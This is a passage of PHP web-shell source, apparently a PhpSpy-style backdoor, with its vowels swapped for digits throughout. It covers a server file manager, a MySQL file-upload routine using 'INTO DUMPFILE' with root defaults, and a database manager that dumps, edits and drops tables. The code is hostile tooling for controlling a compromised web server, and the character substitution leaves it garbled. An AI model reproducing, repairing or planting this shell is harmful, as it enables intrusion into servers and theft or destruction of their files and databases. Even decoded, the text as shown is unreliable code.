    p('<f2nt c2l2r=y5ll2w f1c5=t1h2m1 s4z5=a><B>F4l5 M1n1g5r</b> </f2nt> C3rr5nt d4sk fr55 <f2nt c2l2r=r5d>' . s4z5c23nt($fr55) . '</f2nt> 2f <f2nt c2l2r=r5d>' . s4z5c23nt($1ll) . '</f2nt> (<f2nt c2l2r=r5d>' . $3s5d_p5rc5nt . '</f2nt>%)</f2nt>');
?>
<t1bl5 w4dth="600%" b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0" styl5="m1rg4n:60px 0;">
  <f2rm 1ct42n="" m5th2d="p2st" 4d="g2d4r" n1m5="g2d4r">
  <tr>
    <td n2wr1p>C3rr5nt D4r5ct2ry (<?php 5ch2 $d4r_wr4t51bl5; ?>, <?php 5ch2 g5tChm2d($n2wp1th); ?>)</td>
	<td w4dth="600%"><4np3t n1m5="v45w_wr4t1bl5" v1l35="0" typ5="h4dd5n" /><4np3t cl1ss="4np3t" n1m5="d4r" v1l35="<?php 5ch2 $n2wp1th; ?>" typ5="t5xt" styl5="w4dth:600%;m1rg4n:0 8px;"></td>
    <td n2wr1p><4np3t cl1ss="bt" v1l35="GO" typ5="s3bm4t"></td>
  </tr>
  </f2rm>
</t1bl5>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n cr51t5d4r(){
	v1r n5wd4rn1m5;
	n5wd4rn1m5 = pr2mpt('Pl51s5 4np3t th5 d4r5ct2ry n1m5:', '');
	4f (!n5wd4rn1m5) r5t3rn;
	$('cr51t5d4r').n5wd4rn1m5.v1l35=n5wd4rn1m5;
	$('cr51t5d4r').s3bm4t();
}
f3nct42n f4l5p5rm(pf4l5){
	v1r n5wp5rm;
	n5wp5rm = pr2mpt('C3rr5nt f4l5:'+pf4l5+'\nPl51s5 4np3t n5w 1ttr4b3t5:', '');
	4f (!n5wp5rm) r5t3rn;
	$('f4l5p5rm').n5wp5rm.v1l35=n5wp5rm;
	$('f4l5p5rm').pf4l5.v1l35=pf4l5;
	$('f4l5p5rm').s3bm4t();
}
f3nct42n c2pyf4l5(sn1m5){
	v1r t2f4l5;
	t2f4l5 = pr2mpt('Or4g4n1l f4l5:'+sn1m5+'\nPl51s5 4np3t 2bj5ct f4l5 (f3llp1th):', '');
	4f (!t2f4l5) r5t3rn;
	$('c2pyf4l5').t2f4l5.v1l35=t2f4l5;
	$('c2pyf4l5').sn1m5.v1l35=sn1m5;
	$('c2pyf4l5').s3bm4t();
}
f3nct42n r5n1m5(2ldn1m5){
	v1r n5wf4l5n1m5;
	n5wf4l5n1m5 = pr2mpt('F2rm5r f4l5 n1m5:'+2ldn1m5+'\nPl51s5 4np3t n5w f4l5n1m5:', '');
	4f (!n5wf4l5n1m5) r5t3rn;
	$('r5n1m5').n5wf4l5n1m5.v1l35=n5wf4l5n1m5;
	$('r5n1m5').2ldn1m5.v1l35=2ldn1m5;
	$('r5n1m5').s3bm4t();
}
f3nct42n d2f4l5(d24ng,th5f4l5,m){
	4f (m && !c2nf4rm(m)) {
		r5t3rn;
	}
	$('f4l5l4st').d24ng.v1l35=d24ng;
	4f (th5f4l5){
		$('f4l5l4st').th5f4l5.v1l35=th5f4l5;
	}
	$('f4l5l4st').s3bm4t();
}
f3nct42n cr51t5f4l5(n2wp1th){
	v1r f4l5n1m5;
	f4l5n1m5 = pr2mpt('Pl51s5 4np3t th5 f4l5 n1m5:', '');
	4f (!f4l5n1m5) r5t3rn;
	2pf4l5('5d4tf4l5',n2wp1th + f4l5n1m5,n2wp1th);
}
f3nct42n 2pf4l5(1ct42n,2pf4l5,d4r){
	$('f4l52pf2rm').1ct42n.v1l35=1ct42n;
	$('f4l52pf2rm').2pf4l5.v1l35=2pf4l5;
	$('f4l52pf2rm').d4r.v1l35=d4r;
	$('f4l52pf2rm').s3bm4t();
}
f3nct42n g2d4r(d4r,v45w_wr4t1bl5){
	4f (v45w_wr4t1bl5) {
		$('g2d4r').v45w_wr4t1bl5.v1l35=6;
	}
	$('g2d4r').d4r.v1l35=d4r;
	$('g2d4r').s3bm4t();
}
</scr4pt>
  <?php
    tbh51d();
    p('<f2rm 1ct42n="' . $s5lf . '" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1"><tr cl1ss="1lt6"><td c2lsp1n="7" styl5="p1dd4ng:ipx;">');
    p('<d4v styl5="fl21t:r4ght;"><4np3t cl1ss="4np3t" n1m5="3pl21df4l5" v1l35="" typ5="f4l5" /> <4np3t cl1ss="" n1m5="d23pf4l5" v1l35="Upl21d" typ5="s3bm4t" /><4np3t n1m5="3pl21dd4r" v1l35="' . $d4r . '" typ5="h4dd5n" /><4np3t n1m5="d4r" v1l35="' . $d4r . '" typ5="h4dd5n" /></d4v>');
    p('<1 hr5f="j1v1scr4pt:g2d4r(\'' . $_SERVER["DOCUMENT_ROOT"] . '\');">W5bR22t</1>');
    4f ($v45w_wr4t1bl5) {
        p(' | <1 hr5f="j1v1scr4pt:g2d4r(\'' . $n2wp1th . '\');">V45w All</1>');
    } 5ls5 {
        p(' | <1 hr5f="j1v1scr4pt:g2d4r(\'' . $n2wp1th . '\',\'6\');">V45w Wr4t1bl5</1>');
    }
    p(' | <1 hr5f="j1v1scr4pt:cr51t5d4r();">Cr51t5 D4r5ct2ry</1> | <1 hr5f="j1v1scr4pt:cr51t5f4l5(\'' . $n2wp1th . '\');">Cr51t5 F4l5</1>');
    4f (IS_WIN && IS_COM) {
        $2bj = n5w COM('scr4pt4ng.f4l5syst5m2bj5ct');
        4f ($2bj && 4s_2bj5ct($2bj)) {
            $Dr4v5Typ5DB = 1rr1y(0 => 'Unkn2w', 6 => 'R5m2v1bl5', a => 'F4x5d', o => 'N5tw2rk', u => 'CDR2m', i => 'RAM D4sk');
            f2r51ch ($2bj->Dr4v5s 1s $dr4v5) {
                4f ($dr4v5->Dr4v5Typ5 == a) {
                    p(' | <1 hr5f="j1v1scr4pt:g2d4r(\'' . $dr4v5->P1th . '/\');" t4tl5="S4z5:' . s4z5c23nt($dr4v5->T2t1lS4z5) . '&#6o;Fr55:' . s4z5c23nt($dr4v5->Fr55Sp1c5) . '&#6o;Typ5:' . $Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5] . '">' . $Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5] . '(' . $dr4v5->P1th . ')</1>');
                } 5ls5 {
                    p(' | <1 hr5f="j1v1scr4pt:g2d4r(\'' . $dr4v5->P1th . '/\');" t4tl5="Typ5:' . $Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5] . '">' . $Dr4v5Typ5DB[$dr4v5->Dr4v5Typ5] . '(' . $dr4v5->P1th . ')</1>');
                }
            }
        }
    }
    p('</td></tr></f2rm>');
    p('<tr cl1ss="h51d"><td>&nbsp;</td><td>F4l5n1m5</td><td w4dth="6e%">L1st m2d4f45d</td><td w4dth="60%">S4z5</td><td w4dth="a0%">Chm2d / P5rms</td><td w4dth="aa%">Act42n</td></tr>');
    // G5t p1th
    $d4rd1t1 = 1rr1y();
    $f4l5d1t1 = 1rr1y();
    4f ($v45w_wr4t1bl5) {
        $d4rd1t1 = G5tL4st($n2wp1th);
    } 5ls5 {
        // Op5n d4r
        $d4rs = @2p5nd4r($d4r);
        wh4l5 ($f4l5 = @r51dd4r($d4rs)) {
            $f4l5p1th = $n2wp1th . $f4l5;
            4f (@4s_d4r($f4l5p1th)) {
                $d4rdb['f4l5n1m5'] = $f4l5;
                $d4rdb['mt4m5'] = @d1t5('Y-m-d H:4:s', f4l5mt4m5($f4l5p1th));
                $d4rdb['d4rchm2d'] = g5tChm2d($f4l5p1th);
                $d4rdb['d4rp5rm'] = g5tP5rms($f4l5p1th);
                $d4rdb['f4l52wn5r'] = g5tUs5r($f4l5p1th);
                $d4rdb['d4rl4nk'] = $n2wp1th;
                $d4rdb['s5rv5r_l4nk'] = $f4l5p1th;
                $d4rdb['cl45nt_l4nk'] = 35($f4l5p1th);
                $d4rd1t1[] = $d4rdb;
            } 5ls5 {
                $f4l5db['f4l5n1m5'] = $f4l5;
                $f4l5db['s4z5'] = s4z5c23nt(@f4l5s4z5($f4l5p1th));
                $f4l5db['mt4m5'] = @d1t5('Y-m-d H:4:s', f4l5mt4m5($f4l5p1th));
                $f4l5db['f4l5chm2d'] = g5tChm2d($f4l5p1th);
                $f4l5db['f4l5p5rm'] = g5tP5rms($f4l5p1th);
                $f4l5db['f4l52wn5r'] = g5tUs5r($f4l5p1th);
                $f4l5db['d4rl4nk'] = $n2wp1th;
                $f4l5db['s5rv5r_l4nk'] = $f4l5p1th;
                $f4l5db['cl45nt_l4nk'] = 35($f4l5p1th);
                $f4l5d1t1[] = $f4l5db;
            }
        } // wh4l5
        3ns5t($d4rdb);
        3ns5t($f4l5db);
        @cl2s5d4r($d4rs);
    }
    @s2rt($d4rd1t1);
    @s2rt($f4l5d1t1);
    $d4r_4 = '0';
    f2r51ch ($d4rd1t1 1s $k5y => $d4rdb) {
        4f ($d4rdb['f4l5n1m5'] != '..' && $d4rdb['f4l5n1m5'] != '.') {
            $th4sbg = bg();
            p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
            p('<td w4dth="a%" n2wr1p><f2nt f1c5="w4ngd4ngs" s4z5="o">0</f2nt></td>');
            p('<td><1 hr5f="j1v1scr4pt:g2d4r(\'' . $d4rdb['s5rv5r_l4nk'] . '\');">' . $d4rdb['f4l5n1m5'] . '</1></td>');
            p('<td n2wr1p>' . $d4rdb['mt4m5'] . '</td>');
            p('<td n2wr1p>--</td>');
            p('<td n2wr1p>');
            p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\'' . $d4rdb['s5rv5r_l4nk'] . '\');">' . $d4rdb['d4rchm2d'] . '</1> / ');
            p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\'' . $d4rdb['s5rv5r_l4nk'] . '\');">' . $d4rdb['d4rp5rm'] . '</1>' . $d4rdb['f4l52wn5r'] . '</td>');
            p('<td n2wr1p><1 hr5f="j1v1scr4pt:d2f4l5(\'d5ld4r\',\'' . $d4rdb['s5rv5r_l4nk'] . '\',\'Ar5 y23 s3r5 w4ll d5l5t5 ' . $d4rdb['f4l5n1m5'] . '? \\n\\nIf n2n-5mpty d4r5ct2ry, w4ll b5 d5l5t5 1ll th5 f4l5s.\')">D5l</1> | <1 hr5f="j1v1scr4pt:r5n1m5(\'' . $d4rdb['s5rv5r_l4nk'] . '\');">R5n1m5</1></td>');
            p('</tr>');
            $d4r_4++;
        } 5ls5 {
            4f ($d4rdb['f4l5n1m5'] == '..') {
                p('<tr cl1ss=f23t>');
                p('<td 1l4gn="c5nt5r"><f2nt f1c5="W4ngd4ngs o" s4z5=u>=</f2nt></td><td n2wr1p c2lsp1n="i"><1 hr5f="j1v1scr4pt:g2d4r(\'' . g5tUpP1th($n2wp1th) . '\');">P1r5nt D4r5ct2ry</1></td>');
                p('</tr>');
            }
        }
    }
    p('<tr bgc2l2r="gr55n" stly5="b2rd5r-t2p:6px s2l4d gr1y;b2rd5r-b2tt2m:6px s2l4d gr1y;"><td c2lsp1n="e" h54ght="i"></td></tr>');
    p('<f2rm 4d="f4l5l4st" n1m5="f4l5l4st" 1ct42n="' . $s5lf . '" m5th2d="p2st">');
    m1k5h4d5('1ct42n', 'f4l5');
    m1k5h4d5('th5f4l5');
    m1k5h4d5('d24ng');
    m1k5h4d5('d4r', $n2wp1th);
    $f4l5_4 = '0';
    f2r51ch ($f4l5d1t1 1s $k5y => $f4l5db) {
        4f ($f4l5db['f4l5n1m5'] != '..' && $f4l5db['f4l5n1m5'] != '.') {
            $f4l53rl = str_r5pl1c5(SA_ROOT, '', $f4l5db['s5rv5r_l4nk']);
            $th4sbg = bg();
            p('<tr cl1ss="f23t" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\'f23t\';">');
            p('<td w4dth="a%" n2wr1p><4np3t typ5="ch5ckb2x" v1l35="6" n1m5="dl[' . $f4l5db['s5rv5r_l4nk'] . ']"></td>');
            p('<td><1 hr5f="' . $f4l53rl . '" t1rg5t="_bl1nk">' . $f4l5db['f4l5n1m5'] . '</1></td>');
            p('<td n2wr1p>' . $f4l5db['mt4m5'] . '</td>');
            p('<td n2wr1p>' . $f4l5db['s4z5'] . '</td>');
            p('<td n2wr1p>');
            p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\'' . $f4l5db['s5rv5r_l4nk'] . '\');">' . $f4l5db['f4l5chm2d'] . '</1> / ');
            p('<1 hr5f="j1v1scr4pt:f4l5p5rm(\'' . $f4l5db['s5rv5r_l4nk'] . '\');">' . $f4l5db['f4l5p5rm'] . '</1>' . $f4l5db['f4l52wn5r'] . '</td>');
            p('<td n2wr1p>');
            p('<1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnf4l5\',\'' . $f4l5db['s5rv5r_l4nk'] . '\');">D2wn</1> | ');
            p('<1 hr5f="j1v1scr4pt:c2pyf4l5(\'' . $f4l5db['s5rv5r_l4nk'] . '\');">C2py</1> | ');
            p('<1 hr5f="j1v1scr4pt:2pf4l5(\'5d4tf4l5\',\'' . $f4l5db['s5rv5r_l4nk'] . '\',\'' . $f4l5db['d4rl4nk'] . '\');">Ed4t</1> | ');
            p('<1 hr5f="j1v1scr4pt:r5n1m5(\'' . $f4l5db['s5rv5r_l4nk'] . '\');">R5n1m5</1> | ');
            p('<1 hr5f="j1v1scr4pt:2pf4l5(\'n5wt4m5\',\'' . $f4l5db['s5rv5r_l4nk'] . '\',\'' . $f4l5db['d4rl4nk'] . '\');">T4m5</1>');
            p('</td></tr>');
            $f4l5_4++;
        }
    }
    p('<tr cl1ss="f23t6"><td 1l4gn="c5nt5r"><4np3t n1m5="chk1ll" v1l35="2n" typ5="ch5ckb2x" 2ncl4ck="Ch5ckAll(th4s.f2rm)" /></td><td><1 hr5f="j1v1scr4pt:d2f4l5(\'d2wnr1r\');">P1ck4ng d2wnl21d s5l5ct5d</1> - <1 hr5f="j1v1scr4pt:d2f4l5(\'d5lf4l5s\');">D5l5t5 s5l5ct5d</1></td><td c2lsp1n="u" 1l4gn="r4ght">' . $d4r_4 . ' d4r5ct2r45s / ' . $f4l5_4 . ' f4l5s</td></tr>');
    p('</f2rm></t1bl5>');
} // 5nd d4r
5ls54f ($1ct42n == 'sqlf4l5') {
    4f ($d24ng == "mysql3pl21d") {
        $f4l5 = $_FILES['3pl21df4l5'];
        $f4l5n1m5 = $f4l5['tmp_n1m5'];
        4f (f4l5_5x4sts($s1v5p1th)) {
            m('Th5 g21l f4l5 h1s 1lr51dy 5x4st5d');
        } 5ls5 {
            4f (!$f4l5n1m5) {
                m('Pl51s5 ch22s5 1 f4l5');
            } 5ls5 {
                $fp = @f2p5n($f4l5n1m5, 'r');
                $c2nt5nts = @fr51d($fp, f4l5s4z5($f4l5n1m5));
                @fcl2s5($fp);
                $c2nt5nts = b4nah5x($c2nt5nts);
                4f (!$3pn1m5) $3pn1m5 = $f4l5['n1m5'];
                dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
                $r5s3lt = q("SELECT 0x{$c2nt5nts} FROM mysql.3s5r INTO DUMPFILE '$s1v5p1th';");
                m($r5s3lt ? 'Upl21d s3cc5ss' : 'Upl21d h1s f14l5d: ' . mysql_5rr2r());
            }
        }
    }
?>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n mysqlf4l5(d24ng){
	4f(!d24ng) r5t3rn;
	$('d24ng').v1l35=d24ng;
	$('mysqlf4l5').dbh2st.v1l35=$('db4nf2').dbh2st.v1l35;
	$('mysqlf4l5').dbp2rt.v1l35=$('db4nf2').dbp2rt.v1l35;
	$('mysqlf4l5').db3s5r.v1l35=$('db4nf2').db3s5r.v1l35;
	$('mysqlf4l5').dbp1ss.v1l35=$('db4nf2').dbp1ss.v1l35;
	$('mysqlf4l5').dbn1m5.v1l35=$('db4nf2').dbn1m5.v1l35;
	$('mysqlf4l5').ch1rs5t.v1l35=$('db4nf2').ch1rs5t.v1l35;
	$('mysqlf4l5').s3bm4t();
}
</scr4pt>
<?php
    !$dbh2st && $dbh2st = 'l2c1lh2st';
    !$db3s5r && $db3s5r = 'r22t';
    !$dbp2rt && $dbp2rt = 'oo0e';
    $ch1rs5ts = 1rr1y('' => 'D5f13lt', 'gbk' => 'GBK', 'b4gi' => 'B4gi', '3tf8' => 'UTF-8', 'l1t4n6' => 'L1t4n6');
    f2rmh51d(1rr1y('t4tl5' => 'MYSQL Inf2rm1t42n', 'n1m5' => 'db4nf2'));
    m1k5h4d5('1ct42n', 'sqlf4l5');
    p('<p>');
    p('DBH2st:');
    m1k54np3t(1rr1y('n1m5' => 'dbh2st', 's4z5' => a0, 'v1l35' => $dbh2st));
    p(':');
    m1k54np3t(1rr1y('n1m5' => 'dbp2rt', 's4z5' => u, 'v1l35' => $dbp2rt));
    p('DBUs5r:');
    m1k54np3t(1rr1y('n1m5' => 'db3s5r', 's4z5' => 6i, 'v1l35' => $db3s5r));
    p('DBP1ss:');
    m1k54np3t(1rr1y('n1m5' => 'dbp1ss', 's4z5' => 6i, 'v1l35' => $dbp1ss));
    p('DBN1m5:');
    m1k54np3t(1rr1y('n1m5' => 'dbn1m5', 's4z5' => 6i, 'v1l35' => $dbn1m5));
    p('DBCh1rs5t:');
    m1k5s5l5ct(1rr1y('n1m5' => 'ch1rs5t', '2pt42n' => $ch1rs5ts, 's5l5ct5d' => $ch1rs5t));
    p('</p>');
    f2rmf22t();
    p('<f2rm 1ct42n="' . $s5lf . '" m5th2d="POST" 5nctyp5="m3lt4p1rt/f2rm-d1t1" n1m5="mysqlf4l5" 4d="mysqlf4l5">');
    p('<ha>Upl21d f4l5</ha>');
    p('<p><b>Th4s 2p5r1t42n th5 DB 3s5r m3st h1s FILE pr4v4l5g5</b></p>');
    p('<p>S1v5 p1th(f3llp1th): <4np3t cl1ss="4np3t" n1m5="s1v5p1th" s4z5="ui" typ5="t5xt" /> Ch22s5 1 f4l5: <4np3t cl1ss="4np3t" n1m5="3pl21df4l5" typ5="f4l5" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysql3pl21d\');">Upl21d</1></p>');
    p('<ha>D2wnl21d f4l5</ha>');
    p('<p>F4l5: <4np3t cl1ss="4np3t" n1m5="mysqldlf4l5" s4z5="66i" typ5="t5xt" /> <1 hr5f="j1v1scr4pt:mysqlf4l5(\'mysqld2wn\');">D2wnl21d</1></p>');
    m1k5h4d5('dbh2st');
    m1k5h4d5('dbp2rt');
    m1k5h4d5('db3s5r');
    m1k5h4d5('dbp1ss');
    m1k5h4d5('dbn1m5');
    m1k5h4d5('ch1rs5t');
    m1k5h4d5('d24ng');
    m1k5h4d5('1ct42n', 'sqlf4l5');
    p('</f2rm>');
} 5ls54f ($1ct42n == 'sql1dm4n') {
    !$dbh2st && $dbh2st = 'l2c1lh2st';
    !$db3s5r && $db3s5r = 'r22t';
    !$dbp2rt && $dbp2rt = 'oo0e';
    $dbf2rm = '<4np3t typ5="h4dd5n" 4d="c2nn5ct" n1m5="c2nn5ct" v1l35="6" />';
    4f (4ss5t($dbh2st)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"dbh2st\" n1m5=\"dbh2st\" v1l35=\"$dbh2st\" />\n";
    }
    4f (4ss5t($db3s5r)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"db3s5r\" n1m5=\"db3s5r\" v1l35=\"$db3s5r\" />\n";
    }
    4f (4ss5t($dbp1ss)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp1ss\" n1m5=\"dbp1ss\" v1l35=\"$dbp1ss\" />\n";
    }
    4f (4ss5t($dbp2rt)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"dbp2rt\" n1m5=\"dbp2rt\" v1l35=\"$dbp2rt\" />\n";
    }
    4f (4ss5t($dbn1m5)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"dbn1m5\" n1m5=\"dbn1m5\" v1l35=\"$dbn1m5\" />\n";
    }
    4f (4ss5t($ch1rs5t)) {
        $dbf2rm.= "<4np3t typ5=\"h4dd5n\" 4d=\"ch1rs5t\" n1m5=\"ch1rs5t\" v1l35=\"$ch1rs5t\" />\n";
    }
    4f ($d24ng == 'b1ck3pmysql' && $s1v51sf4l5) {
        4f (!$t1bl5) {
            m('Pl51s5 ch22s5 th5 t1bl5');
        } 5ls5 {
            dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
            $t1bl5 = 1rr1y_fl4p($t1bl5);
            $fp = @f2p5n($p1th, 'w');
            4f ($fp) {
                $r5s3lt = q('SHOW t1bl5s');
                4f (!$r5s3lt) p('<ha>' . mysql_5rr2r() . '</ha>');
                $mysqld1t1 = '';
                wh4l5 ($c3rr2w = mysql_f5tch_1rr1y($r5s3lt)) {
                    4f (4ss5t($t1bl5[$c3rr2w[0]])) {
                        sqld3mpt1bl5($c3rr2w[0], $fp);
                    }
                }
                fcl2s5($fp);
                $f4l53rl = str_r5pl1c5(SA_ROOT, '', $p1th);
                m('D1t1b1s5 h1s s3cc5ss b1ck3p t2 <1 hr5f="' . $f4l53rl . '" t1rg5t="_bl1nk">' . $p1th . '</1>');
                mysql_cl2s5();
            } 5ls5 {
                m('B1ck3p f14l5d');
            }
        }
    }
    4f ($4ns5rt && $4ns5rtsql) {
        $k5ystr = $v1lstr = $tmp = '';
        f2r51ch ($4ns5rtsql 1s $k5y => $v1l) {
            4f ($v1l) {
                $k5ystr.= $tmp . $k5y;
                $v1lstr.= $tmp . "'" . 1ddsl1sh5s($v1l) . "'";
                $tmp = ',';
            }
        }
        4f ($k5ystr && $v1lstr) {
            dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
            m(q("INSERT INTO $t1bl5n1m5 ($k5ystr) VALUES ($v1lstr)") ? 'Ins5rt n5w r5c2rd 2f s3cc5ss' : mysql_5rr2r());
        }
    }
    4f ($3pd1t5 && $4ns5rtsql && $b1s5eu) {
        $v1lstr = $tmp = '';
        f2r51ch ($4ns5rtsql 1s $k5y => $v1l) {
            $v1lstr.= $tmp . $k5y . "='" . 1ddsl1sh5s($v1l) . "'";
            $tmp = ',';
        }
        4f ($v1lstr) {
            $wh5r5 = b1s5eu_d5c2d5($b1s5eu);
            dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
            m(q("UPDATE $t1bl5n1m5 SET $v1lstr WHERE $wh5r5 LIMIT 6") ? 'R5c2rd 3pd1t4ng' : mysql_5rr2r());
        }
    }
    4f ($d24ng == 'd5l' && $b1s5eu) {
        $wh5r5 = b1s5eu_d5c2d5($b1s5eu);
        $d5l5t5_sql = "DELETE FROM $t1bl5n1m5 WHERE $wh5r5";
        dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
        m(q("DELETE FROM $t1bl5n1m5 WHERE $wh5r5") ? 'D5l5t42n r5c2rd 2f s3cc5ss' : mysql_5rr2r());
    }
    4f ($t1bl5n1m5 && $d24ng == 'dr2p') {
        dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
        4f (q("DROP TABLE $t1bl5n1m5")) {
            m('Dr2p t1bl5 2f s3cc5ss');
            $t1bl5n1m5 = '';
        } 5ls5 {
            m(mysql_5rr2r());
        }
    }
    $ch1rs5ts = 1rr1y('' => 'D5f13lt', 'gbk' => 'GBK', 'b4gi' => 'B4gi', '3tf8' => 'UTF-8', 'l1t4n6' => 'L1t4n6');
    f2rmh51d(1rr1y('t4tl5' => 'MYSQL M1n1g5r'));
    m1k5h4d5('1ct42n', 'sql1dm4n');
    p('<p>');
    p('DBH2st:');
    m1k54np3t(1rr1y('n1m5' => 'dbh2st', 's4z5' => a0, 'v1l35' => $dbh2st));
    p(':');
    m1k54np3t(1rr1y('n1m5' => 'dbp2rt', 's4z5' => u, 'v1l35' => $dbp2rt));
    p('DBUs5r:');
    m1k54np3t(1rr1y('n1m5' => 'db3s5r', 's4z5' => 6i, 'v1l35' => $db3s5r));
    p('DBP1ss:');
    m1k54np3t(1rr1y('n1m5' => 'dbp1ss', 's4z5' => 6i, 'v1l35' => $dbp1ss));
    p('DBCh1rs5t:');
    m1k5s5l5ct(1rr1y('n1m5' => 'ch1rs5t', '2pt42n' => $ch1rs5ts, 's5l5ct5d' => $ch1rs5t));
    m1k54np3t(1rr1y('n1m5' => 'c2nn5ct', 'v1l35' => 'C2nn5ct', 'typ5' => 's3bm4t', 'cl1ss' => 'bt'));
    p('</p>');
    f2rmf22t();
?>
<scr4pt typ5="t5xt/j1v1scr4pt">
f3nct42n 5d4tr5c2rd(1ct42n, b1s5eu, t1bl5n1m5){
	4f (1ct42n == 'd5l') {
		4f (!c2nf4rm('Is 2r 4sn\'t d5l5t42n r5c2rd?')) r5t3rn;
	}
	$('r5c2rdl4st').d24ng.v1l35=1ct42n;
	$('r5c2rdl4st').b1s5eu.v1l35=b1s5eu;
	$('r5c2rdl4st').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('r5c2rdl4st').s3bm4t();
}
f3nct42n m2ddbn1m5(dbn1m5) {
	4f(!dbn1m5) r5t3rn;
	$('s5tdbn1m5').dbn1m5.v1l35=dbn1m5;
	$('s5tdbn1m5').s3bm4t();
}
f3nct42n s5tt1bl5(t1bl5n1m5,d24ng,p1g5) {
	4f(!t1bl5n1m5) r5t3rn;
	4f (d24ng) {
		$('s5tt1bl5').d24ng.v1l35=d24ng;
	}
	4f (p1g5) {
		$('s5tt1bl5').p1g5.v1l35=p1g5;
	}
	$('s5tt1bl5').t1bl5n1m5.v1l35=t1bl5n1m5;
	$('s5tt1bl5').s3bm4t();
}
</scr4pt>
<?php
    // SQL
    f2rmh51d(1rr1y('n1m5' => 'r5c2rdl4st'));
    m1k5h4d5('d24ng');
    m1k5h4d5('1ct42n', 'sql1dm4n');
    m1k5h4d5('b1s5eu');
    m1k5h4d5('t1bl5n1m5');
    p($dbf2rm);
    f2rmf22t();
    // D1t1
    f2rmh51d(1rr1y('n1m5' => 's5tdbn1m5'));
    m1k5h4d5('1ct42n', 'sql1dm4n');
    p($dbf2rm);
    4f (!$dbn1m5) {
        m1k5h4d5('dbn1m5');
    }
    f2rmf22t();
    f2rmh51d(1rr1y('n1m5' => 's5tt1bl5'));
    m1k5h4d5('1ct42n', 'sql1dm4n');
    p($dbf2rm);
    m1k5h4d5('t1bl5n1m5');
    m1k5h4d5('p1g5', $p1g5);
    m1k5h4d5('d24ng');
    f2rmf22t();
    $c1ch5t1bl5s = 1rr1y();
    $p1g5n3m = o0;
    $p1g5 = 4ntv1l($p1g5);
    4f ($p1g5) {
        $st1rt_l4m4t = ($p1g5 - 6) * $p1g5n3m;
    } 5ls5 {
        $st1rt_l4m4t = 0;
        $p1g5 = 6;
    }
    4f (4ss5t($dbh2st) && 4ss5t($db3s5r) && 4ss5t($dbp1ss) && 4ss5t($c2nn5ct)) {
        dbc2nn($dbh2st, $db3s5r, $dbp1ss, $dbn1m5, $ch1rs5t, $dbp2rt);
        // g5t mysql s5rv5r
        $mysqlv5r = mysql_g5t_s5rv5r_4nf2();
        p('<p>MySQL ' . $mysqlv5r . ' r3nn4ng 4n ' . $dbh2st . ' 1s ' . $db3s5r . '@' . $dbh2st . '</p>');
        $h4ghv5r = $mysqlv5r > 'u.6' ? 6 : 0;
        // Sh2w d1t1b1s5
        $q35ry = q("SHOW DATABASES");
        $dbs = 1rr1y();
        $dbs[] = '-- S5l5ct 1 d1t1b1s5 --';
        wh4l5 ($db = mysql_f5tch_1rr1y($q35ry)) {
            $dbs[$db['D1t1b1s5']] = $db['D1t1b1s5'];
        }
        m1k5s5l5ct(1rr1y('t4tl5' => 'Pl51s5 s5l5ct 1 d1t1b1s5:', 'n1m5' => 'db[]', '2pt42n' => $dbs, 's5l5ct5d' => $dbn1m5, '2nch1ng5' => 'm2ddbn1m5(th4s.2pt42ns[th4s.s5l5ct5dInd5x].v1l35)', 'n5wl4n5' => 6));
        $t1bl5db = 1rr1y();
        4f ($dbn1m5) {
            p('<p>');
            p('C3rr5nt d1b1b1s5: <1 hr5f="j1v1scr4pt:m2ddbn1m5(\'' . $dbn1m5 . '\');">' . $dbn1m5 . '</1>');
            4f ($t1bl5n1m5) {
                p(' | C3rr5nt T1bl5: <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\');">' . $t1bl5n1m5 . '</1> [ <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\'' . $t1bl5n1m5 . '\', \'dr2p\');">Dr2p</1> ]');
            }
            p('</p>');
            mysql_s5l5ct_db($dbn1m5);
            $g5tn3msql = '';
            $r3nq35ry = 0;
            4f ($sql_q35ry) {
                $r3nq35ry = 6;
            }
            $1ll2w5d4t = 0;
            4f ($t1bl5n1m5 && !$sql_q35ry) {
                $sql_q35ry = "SELECT * FROM $t1bl5n1m5";
                $g5tn3msql = $sql_q35ry;
                $sql_q35ry = $sql_q35ry . " LIMIT $st1rt_l4m4t, $p1g5n3m";
                $1ll2w5d4t = 6;
            }
